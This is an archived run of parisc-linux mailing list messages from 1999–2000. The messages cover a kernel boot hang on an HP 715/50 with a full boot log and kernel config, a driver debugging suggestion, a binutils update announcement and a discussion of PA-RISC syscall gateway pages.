To: parisc-linux@thepuffingroup.com
Original-X-From: csnow@julian.uwo.ca  Wed May 17 15:19:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA07191
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 May 2000 15:19:32 -0600
Original-Received: (qmail 23123 invoked by uid 15267); 17 May 2000 21:19:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23114 invoked from network); 17 May 2000 21:19:39 -0000
Original-Received: from mail.execulink.com (HELO amsterdam.execulink.net) (199.166.6.19)
  by mailserv2.iuinc.com with SMTP; 17 May 2000 21:19:39 -0000
Original-Received: from ppp177.a1-2.56k.execulink.com (ppp177.a1-2.56k.execulink.com [209.239.9.243])
	by amsterdam.execulink.net (8.9.3/8.9.3) with ESMTP id RAA11576
	for <parisc-linux@thepuffingroup.com>; Wed, 17 May 2000 17:19:38 -0400 (EDT)
X-Sender: chris@boy.localdomain
Xref: news.gmane.org gmane.linux.ports.parisc:7282


I've got an Apollo 715/50 box, 32Meg RAM and a serial console for
output.  I followed the "recipe" from the web site, and built a kernel,
installed rbootd, etc.  Then i "cvs update"'d the kernel code to the
latest version. Then, I boot and it hangs.

I talked to Puffin on IRC this afternoon (me="Ftns"), and he suggested
I post here.



When I boot the machine, I get the following - typing by hand, so I'll
give you the last part:

..... (other stuff) ....
Starting kswapd v1.6
Serial driver version 4.92 (2000-1-27) with MANY_PORTS SHARE_IRQ \
SERIAL_PCI enabled
pty: 256 Unix98 ptys configured
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
82596.c: MAC of HP700 LAN blindely read from the prom!
eth0: 82596 at -xf0826000, 08 00 09 62 82 1E IRQ 535
lasi_82596.c:v1.2 02/13/2000
eth0: lp at 0xc1fd4000 (1720 bytes), lp->scp at 0xc1fd4014
request_irq(535, c01baea8, 0x0, i82596, c1fecc00)
busdev_enable_irq(c1fe9080, 23) ASP: IMR 0x100
busdev_disable_irq(c1fe9080, 23) ASP: IMR 0x0



then it hangs.


After inserting some printk's, it seems the kernel goes into
do_initcalls() in init/main.c and never returns...

Does anyone have any suggestions for this?  I'm going to muck around some
more with it, but I'd love to hear that someone else had the same problem
and already has a fix for it :)


Thanks,





     Chris


From - Thu Nov 08 21:12:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Snow <csnow@julian.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/50 hang - more info
Date: Wed, 17 May 2000 18:27:21 -0400 (EDT)
Lines: 442
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005171823320.1861-100000@boy.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618915 32641 80.91.229.3 (22 Nov 2014 01:15:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:15 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: csnow@julian.uwo.ca  Wed May 17 16:27:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA08002
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 May 2000 16:27:40 -0600
Original-Received: (qmail 12758 invoked by uid 15267); 17 May 2000 22:27:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12751 invoked from network); 17 May 2000 22:27:47 -0000
Original-Received: from mail.execulink.com (HELO amsterdam.execulink.net) (199.166.6.19)
  by mailserv2.iuinc.com with SMTP; 17 May 2000 22:27:47 -0000
Original-Received: from ppp177.a1-2.56k.execulink.com (ppp177.a1-2.56k.execulink.com [209.239.9.243])
	by amsterdam.execulink.net (8.9.3/8.9.3) with ESMTP id SAA16685
	for <parisc-linux@thepuffingroup.com>; Wed, 17 May 2000 18:27:37 -0400 (EDT)
X-Sender: chris@boy.localdomain
Xref: news.gmane.org gmane.linux.ports.parisc:7283


I managed to find some widgets and hook the serial output of the HP to my
PC, so I'm sending along the entire boot output, as well as my .config.


output:
------
              (c) Copyright Hewlett-Packard Company, 1991, 1992
Portions of this code are (c) Copyright Samsung Electronics Co., Ltd, 91,
92 

PDC ROM rev. 1.3
IODC ROM rev. 1.1
32 MB of memory have been configured.


Selecting a system to boot.
To stop selection process, press and hold the ESCAPE key.

Booting from:     lan.00a024-95c59e.3.6     boy

Hard booted.
palo ipl chris@boy Wed May 17 18:19:21 EDT 2000
0/vmlinux 1991268 bytes @ 0x7800
0/palo-cmdline '0/vmlinux HOME=/ TERM=LINUX root=/dev/nfs
nfsroot=192.168.1.2'
Kernel: partition 0 file /vmlinux
ELF32 executable
prepare_loadable 0050368c 2

Entry 0010182c first 00100000 n 3
Segment 0 load 00100000 size 1123464 mediaptr 0x1000
Segment 1 load 00214000 size 158452 mediaptr 0x114000
Segment 2 load 0023c000 size 8192 mediaptr 0x13b000
branching to kernel entry point 0x0010182c
The Kernel has started...
Free memory starts at: 0xc02a8000
PALO command line: 'HOME=/ TERM=LINUX root=/dev/nfs nfsroot=192.168.1.2'
PALO initrd 0-0
FP CCR was 0x0, will be set to 0xc0
model   00003100 00000481 00000000 00000000 7816bc26 ffffffff 00000004
0000000a 0000000a
vers    0000000b
CPUID vers 0 rev 0
CPU(s): 1 x PA7100 at 50.000000 MHz
Searching for devices in PDC firmware...  an older box...
Found devices:
1. Stinger Optional Graphics (10) at 0xf4000000, versions 0x6, 0x0, 0x77,
0x0, 0x0
2. Scorpio Core BA (11) at 0xf082f000, versions 0x7, 0x0, 0x70, 0x0, 0x0
3. Scorpio Core SCSI (10) at 0xf0825000, versions 0x7, 0x0, 0x71, 0x0, 0x0
4. Scorpio Core LAN (802.3) (10) at 0xf0826000, versions 0x7, 0x0, 0x72,
0x0, 0x0
5. Scorpio Core HIL (10) at 0xf0821000, versions 0x7, 0x0, 0x73, 0x0, 0x0
6. Scorpio Core RS-232 (10) at 0xf0823000, versions 0x7, 0x0, 0x75, 0x0,
0x0
7. Scorpio Core RS-232 (10) at 0xf0822000, versions 0x7, 0x0, 0x75, 0x0,
0x0
8. Scorpio Core Centronics (10) at 0xf0824000, versions 0x7, 0x0, 0x74,
0x0, 0x09. Scorpio Audio (10) at 0xf1000000, versions 0x7, 0x0, 0x7b, 0x0,
0x0
10. Scorpio EISA BA (11) at 0xfc000000, versions 0x7, 0x0, 0x76, 0x0, 0x0
11. Scorpio (715/50) (0) at 0xfffbe000, versions 0x310, 0x0, 0x4, 0x0,
0x81
12. Scorpio (1) at 0xfffbf000, versions 0x17, 0x0, 0x9, 0x0, 0x0
That's a total of 12 devices.
Linux version 2.3.99-pre1 (chris@boy) (gcc version 2.9-hppa-991112) #8 Wed
May 17 18:18:58 EDT 2000
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 8192
zone(0): 4096 pages.
zone(1): 4096 pages.
zone(2): 0 pages.
trap_init
Calibrating delay loop... 42.19 BogoMIPS
Memory: 29436k available
kmem_test() - start
kmem_free: Bad front redzone (objp=c1ffe004, name=test-cachep)
kmem_free: Bad rear redzone (objp=c1ffe004, name=test-cachep)
kmem_test() - finished
c1ff0000 c1ff8000 c1fee000 c1ffc000
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 8192 (order: 3, 32768 bytes)
POSIX conformance testing by UNIFIX
ASP version 1 at 0xf0800000 found.
request_irq(259, c01bfd00, 0x0, asp, c1fe9080)
ASP IRQ 259 EIM 0xfffe0003
busdevice_alloc_irq(0xf0823000) on ASP 0x200 + 26 = 538
Found serial #0 at 0xf0823000, IRQ 538
ttyS00 at iomem 0xf0823800 (irq = 538) is a 16550A
busdevice_alloc_irq(0xf0822000) on ASP 0x200 + 25 = 537
Found serial #1 at 0xf0822000, IRQ 537
ttyS00 at iomem 0xf0822800 (irq = 537) is a 16550A
busdevice_alloc_irq(0xf0826000) on ASP 0x200 + 23 = 535
Found i82596 at 0xf0826000, IRQ 535
early initialization of device eth0 is deferred
Linux NET4.0 for Linux 2.3
Based upon Swansea University Computer Society NET3.039
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 2048 bind 2048)
Starting kswapd v1.6
Serial driver version 4.92 (2000-1-27) with MANY_PORTS SHARE_IRQ
SERIAL_PCI enabled
pty: 256 Unix98 ptys configured
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
82596.c: MAC of HP700 LAN blindely read from the prom!
eth0: 82596 at 0xf0826000, 08 00 09 62 82 1E IRQ 535.
lasi_82596.c:v1.2 02/13/2000
eth0: lp at 0xc1fd4000 (1720 bytes), lp->scb at 0xc1fd4014
request_irq(535, c01baea8, 0x0, i82596, c1fecc00)
busdev_enable_irq(c1fe9080, 23) ASP: IMR 0x100
busdev_disable_irq(c1fe9080, 23) ASP: IMR 0x0

----- end of output

and here is my .config (it is the default, I haven't changed anything...)

.config
-------
#
# Automatically generated make config: don't edit
#
CONFIG_PARISC=y
# CONFIG_UID16 is not set

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y

#
# General options
#
# CONFIG_SMP is not set
CONFIG_GSC=y
CONFIG_GSC_LASI=y
CONFIG_PCI=y
CONFIG_GSC_DINO=y
# CONFIG_PCI_LBA is not set

#
# Loadable module support
#
# CONFIG_MODULES is not set

#
# General setup
#
CONFIG_NET=y
CONFIG_SYSVIPC=y
# CONFIG_BSD_PROCESS_ACCT is not set
# CONFIG_SYSCTL is not set
CONFIG_BINFMT_SOM=y
# CONFIG_BINFMT_ELF is not set
# CONFIG_BINFMT_MISC is not set
# CONFIG_BINFMT_JAVA is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_XD is not set
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set

#
# Additional Block Devices
#
# CONFIG_BLK_DEV_LOOP is not set
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_MD is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_INITRD=y

#
# Networking options
#
# CONFIG_PACKET is not set
# CONFIG_NETLINK is not set
# CONFIG_NETFILTER is not set
# CONFIG_FILTER is not set
# CONFIG_UNIX is not set
CONFIG_INET=y
# CONFIG_IP_MULTICAST is not set
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_PNP=y
CONFIG_IP_PNP_BOOTP=y
# CONFIG_IP_PNP_RARP is not set
# CONFIG_IP_ROUTER is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_IP_ALIAS is not set
# CONFIG_SYN_COOKIES is not set

#
# (it is safe to leave these untouched)
#
# CONFIG_SKB_LARGE is not set
# CONFIG_IPV6 is not set
# CONFIG_KHTTPD is not set
# CONFIG_ATM is not set

#
#  
#
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_DECNET is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_BRIDGE is not set
# CONFIG_LLC is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_FASTROUTE is not set
# CONFIG_NET_HW_FLOWCONTROL is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set

#
# SCSI support
#
# CONFIG_SCSI is not set

#
# Network device support
#
CONFIG_NETDEVICES=y
CONFIG_LASI_82596=y

#
# ARCnet devices
#
# CONFIG_ARCNET is not set
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
# CONFIG_NET_SB1000 is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_LANCE is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
# CONFIG_AT1700 is not set
# CONFIG_DEPCA is not set
# CONFIG_NET_ISA is not set
CONFIG_NET_PCI=y
# CONFIG_PCNET32 is not set
# CONFIG_ADAPTEC_STARFIRE is not set
# CONFIG_AC3200 is not set
# CONFIG_APRICOT is not set
# CONFIG_CS89x0 is not set
# CONFIG_DE4X5 is not set
CONFIG_TULIP=y
# CONFIG_DGRS is not set
# CONFIG_DM9102 is not set
# CONFIG_EEPRO100 is not set
# CONFIG_LNE390 is not set
# CONFIG_NE3210 is not set
# CONFIG_NE2K_PCI is not set
# CONFIG_RTL8129 is not set
# CONFIG_8139TOO is not set
# CONFIG_SIS900 is not set
# CONFIG_TLAN is not set
# CONFIG_VIA_RHINE is not set
# CONFIG_ES3210 is not set
# CONFIG_EPIC100 is not set
# CONFIG_NET_POCKET is not set

#
# Ethernet (1000 Mbit)
#
# CONFIG_YELLOWFIN is not set
# CONFIG_ACENIC is not set
# CONFIG_SK98LIN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PLIP is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# Wireless LAN (non-hamradio)
#
# CONFIG_NET_RADIO is not set

#
# Token Ring devices
#
# CONFIG_TR is not set
# CONFIG_NET_FC is not set
# CONFIG_RCPCI is not set
# CONFIG_SHAPER is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set

#
# Character devices
#
# CONFIG_VT is not set
CONFIG_SERIAL=y
CONFIG_SERIAL_CONSOLE=y
CONFIG_SERIAL_GSC=y
CONFIG_SERIAL_EXTENDED=y
# CONFIG_SERIAL_MANY_PORTS is not set
# CONFIG_SERIAL_SHARE_IRQ is not set
# CONFIG_SERIAL_DETECT_IRQ is not set
# CONFIG_SERIAL_MULTIPORT is not set
# CONFIG_HUB6 is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256
# CONFIG_PRINTER is not set
# CONFIG_PPDEV is not set

#
# I2C support
#
# CONFIG_I2C is not set

#
# Mice
#
# CONFIG_BUSMOUSE is not set
# CONFIG_MOUSE is not set

#
# Joysticks
#
# CONFIG_JOYSTICK is not set
# CONFIG_QIC02_TAPE is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
# CONFIG_NVRAM is not set
# CONFIG_RTC is not set

#
# Video For Linux
#
# CONFIG_VIDEO_DEV is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_DRM is not set
# CONFIG_DRM_TDFX is not set
# CONFIG_AGP is not set

#
# File systems
#
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_FAT_FS is not set
# CONFIG_MSDOS_FS is not set
# CONFIG_UMSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_CRAMFS is not set
CONFIG_ISO9660_FS=y
# CONFIG_JOLIET is not set
# CONFIG_MINIX_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVFS_FS is not set
# CONFIG_DEVFS_DEBUG is not set
# CONFIG_DEVPTS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
# CONFIG_UDF_FS is not set
# CONFIG_UFS_FS is not set

#
# Network File Systems
#
# CONFIG_CODA_FS is not set
CONFIG_NFS_FS=y
CONFIG_ROOT_NFS=y
# CONFIG_NFSD is not set
CONFIG_SUNRPC=y
CONFIG_LOCKD=y
# CONFIG_SMB_FS is not set
# CONFIG_NCP_FS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
# CONFIG_NLS is not set

#
# Sound Drivers
#
# CONFIG_SOUND is not set

#
# Kernel hacking
#
CONFIG_MAGIC_SYSRQ=y

----- end .config


If there is more info. I can send along please let me know... 


Thanks,


     Chris



From - Thu Nov 08 21:12:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bob Pflederer <krp@rsn.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/50 hang - more info
Date: Wed, 17 May 2000 20:26:35 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <20000517202635.E855@atl6narkp02a.atl.hp.com>
References: <Pine.LNX.4.21.0005171823320.1861-100000@boy.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618916 32643 80.91.229.3 (22 Nov 2014 01:15:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:16 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Chris Snow <csnow@julian.uwo.ca>
Original-X-From: krp@rsn.hp.com  Wed May 17 19:23:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA09821
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 May 2000 19:23:17 -0600
Original-Received: (qmail 32661 invoked by uid 15267); 18 May 2000 01:23:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32654 invoked from network); 18 May 2000 01:23:21 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 18 May 2000 01:23:21 -0000
Original-Received: from atl6narkp02a.atl.hp.com (dhcp12.rsn.hp.com [15.99.243.12])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 6269664; Wed, 17 May 2000 21:23:20 -0400 (EDT)
Original-Received: (from krp@localhost)
	by atl6narkp02a.atl.hp.com (8.9.3/8.8.7) id UAA01375;
	Wed, 17 May 2000 20:26:35 -0500
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <Pine.LNX.4.21.0005171823320.1861-100000@boy.localdomain>
Xref: news.gmane.org gmane.linux.ports.parisc:7284

When I was trying out a C180, I ran into problems in about the same point
in boot.  In my case it turned out to be a problem in the lasi_82596
driver.  It was executing the interrupt handler before the driver was finished
being initialized.  You might try editing lasi_82596.c to make i596_debug
10:

#define I82596_DEBUG 10

#ifdef I82596_DEBUG
int i596_debug = I82596_DEBUG;
#else
int i596_debug = 1;
#endif

This will get you lots more debug messages from the driver so you can see
if it's doing something funny.  I have a hacked version of lasi_82596.c
that may have worked around this problem and some others that I was finding,
but I'm not really sure what state it's in (it may not even compile) as I 
haven't had time to play with it in over a month.  I'll email it to you so 
you can see if it takes you any further.

> pty: 256 Unix98 ptys configured
> RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
> 82596.c: MAC of HP700 LAN blindely read from the prom!
> eth0: 82596 at 0xf0826000, 08 00 09 62 82 1E IRQ 535.
> lasi_82596.c:v1.2 02/13/2000
> eth0: lp at 0xc1fd4000 (1720 bytes), lp->scb at 0xc1fd4014
> request_irq(535, c01baea8, 0x0, i82596, c1fecc00)
> busdev_enable_irq(c1fe9080, 23) ASP: IMR 0x100
> busdev_disable_irq(c1fe9080, 23) ASP: IMR 0x0
> 


From - Thu Nov 08 21:12:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New binutils available from cvs
Date: Thu, 18 May 2000 12:41:13 +1000 (EST)
Lines: 51
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005181154270.24452-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618916 32645 80.91.229.3 (22 Nov 2014 01:15:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:16 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: alan@linuxcare.com.au  Wed May 17 20:41:12 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA11026
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 May 2000 20:41:12 -0600
Original-Received: (qmail 9417 invoked by uid 15267); 18 May 2000 02:41:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9400 invoked from network); 18 May 2000 02:41:17 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 18 May 2000 02:41:17 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA31412
	for <parisc-linux@thepuffingroup.com>; Thu, 18 May 2000 12:41:14 +1000
Xref: news.gmane.org gmane.linux.ports.parisc:7285

Hello everyone,
   I have just uploaded a new binutils to puffin.external.hp.com cvs.  The
new binutils, which you can get with "cvs co binutils-2.10", is a merge of
current public sourceware.cygnus.com cvs with the puffin tree and a few
fixes of my own.

What's changed:

o Quite a few fixes have been added to the sourceware archive since the
  previous puffin import.  I'll not try to list these here.  One warning
  though: some little fixes and general code clean-up I checked in to the
  sourceware archive broke the hppa assembler.  Jeff Law has fixes from 
  me for the problem, but so far hasn't reviewed and OK'd them, so the
  sourceware hppa support is currently broken.

o Some parts of bfd/elf32-hppa.c have been rewritten, since the previous
  code just couldn't do the right thing.  eg. hppa_elf_relocate_insn used
  to inspect the insn it was given to see whether it was a branch, but
  there's no guarantee that insn was actually code.  It could have come
  from a .word directive, and in fact one place in pa-linux was broken
  due to this bug.

o The binutils hppa testsuite has been modified to (mostly) work for
  hppa1.1-linux.

o ld/emultempl/hppalinux.em has the new orphan section handling.

o I've put in a few fixes for 64 bit parisc, mostly just things I noticed
  while trying to make sense of the hppa backend.

o There are various incomplete pieces of code for things we'll need to
  eventually support.

***BIG WARNING**
  This binutils goes back to using the standard hppa comment char and line
separator char.  Existing puffin parisc code needs to be modified to suit,
otherwise you'll get lots of assembly errors (easy to fix), or silent
removal of code (where multiple asm instructions were placed on one line).

  I'll be shortly checking in a patch to puffin linux-2.3 and palo cvs
that should allow either the new or the old binutils to be used.  I guess
there is plenty of other source that needs fixing similarly.

Enjoy,
  Alan Modra.

PS. If you check in patches to the new binutils, please _please_ put in a
ChangeLog entry too.
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@netscape.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Gateway instructions
Date: Thu, 18 Mar 1999 11:55:04 -0500
Organization: mozilla.org diplomatic corps
Lines: 52
Approved: news@gmane.org
Message-ID: <36F12FE8.308782A2@netscape.com>
References: <199903181435.JAA14215@caliban.physics.utoronto.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618916 32647 80.91.229.3 (22 Nov 2014 01:15:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:16 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: shaver@netscape.com  Thu Mar 18 11:53:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id LAA22930
	for <hppa-linux@sod.res.cmu.edu>; Thu, 18 Mar 1999 11:53:53 -0500
Original-Received: (qmail 10135 invoked by uid 15267); 18 Mar 1999 16:53:08 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 10128 invoked from network); 18 Mar 1999 16:53:08 -0000
Original-Received: from h-205-217-237-46.netscape.com (HELO netscape.com) (205.217.237.46)
  by mailserv2.iuinc.com with SMTP; 18 Mar 1999 16:53:08 -0000
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id IAA19741
	for <hppa-linux@thepuffingroup.com>; Thu, 18 Mar 1999 08:53:15 -0800 (PST)
Original-Received: from netscape.com ([205.217.243.67]) by
          tintin.mcom.com (Netscape Messaging Server 4.03) with ESMTP id
          F8SUWU00.TNS for <hppa-linux@thepuffingroup.com>; Thu, 18 Mar
          1999 08:53:18 -0800 
Original-Sender: shaver@netscape.com (Mike Shaver)
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.0-pre7-ac1 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7286

Christopher Neufeld wrote:
>    How does this work, now? Is the target of the gateway instruction
> intended to be simply a vector table of other jumps, preceded by some
> non-branch instruction which forms the taget of the gateway?

I suspected so, but was confounded by the same issues you bring up....

OpenBSD has this:
#define SYSCALLGATE     0xC0000000              /* syscall gateway page
*/
but I can't find it used anywhere else in the hppa-specific code, or
indeed the rest of the sys/ tree.

Here's how I think it works:
The GATE completer takes its privilege from the TLB entry for the page
_containing_ the BRANCH-with-GATE (see 4-5 in the PARISC 2.0 book).  So
what we do is have a page (at 0xC0000000, probably) that has
appropriately high privilege level in the TLB, and yet is executable by
the user-space process.  I think that means that the TLB access rights
field is [100,11,11]:
- execute: promote to privilege 0
- minimum privilege 3
- maximum privilege 3 (or do we care?)

The page contains:
???
B,GATE to syscall 0
???
B,GATE to syscall 1
???
B,GATE to syscall 2
etc.

I don't know what goes in ???, but clearly something is required so that
we don't get nailed by PSW[B].  Maybe a NOP, but probably something more
useful is required (set up space and other registers?).  The access ID
for that page should probably be 0, to make it universally accessible.

Questions:
- how many privilege levels do we care about?
- is it sufficient to mark kernel data as [001,00,00] with an access ID
of 0 so that all processes can get at it (when they've become
beprivileged enough!) ?  (With variants for code [100,00,00] and
read-only [000,00,00], of course.)
- what should go in ``???''?  Just something that sets PSW[C]?
- am I totally on crack?

Mike

-- 
345127.74 293957.05


From - Thu Nov 08 21:12:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Snow <csnow@julian.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715 LAN interface
Date: Wed, 17 May 2000 22:41:59 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005172239190.1861-100000@boy.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618917 32652 80.91.229.3 (22 Nov 2014 01:15:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:17 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: csnow@julian.uwo.ca  Wed May 17 20:42:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA11151
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 May 2000 20:42:26 -0600
Original-Received: (qmail 10158 invoked by uid 15267); 18 May 2000 02:42:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10140 invoked from network); 18 May 2000 02:42:33 -0000
Original-Received: from mail.execulink.com (HELO amsterdam.execulink.net) (199.166.6.19)
  by mailserv2.iuinc.com with SMTP; 18 May 2000 02:42:33 -0000
Original-Received: from ppp15.a2-1.56k.execulink.com (ppp15.a2-1.56k.execulink.com [209.239.9.15])
	by amsterdam.execulink.net (8.9.3/8.9.3) with ESMTP id WAA27108
	for <parisc-linux@thepuffingroup.com>; Wed, 17 May 2000 22:42:25 -0400 (EDT)
X-Sender: chris@boy.localdomain
Xref: news.gmane.org gmane.linux.ports.parisc:7287


After narrowing my problem down to the lasi_82596 code, I'm in the process
of learning about this interface.

My question:

The documentation on LASI (lasi_ers.ps) seems to be specific to the
712.  But, AFAIK the 715 has the same ethernet (82596).  Is it safe to
assume that the LAN section of lasi_ers.ps is equally applicable to the
715 interface, or is there some other documentation somewhere that I
should consult ?

Thanks,



     Chris


From - Thu Nov 08 21:12:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Snow <csnow@julian.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/50 hang - more info
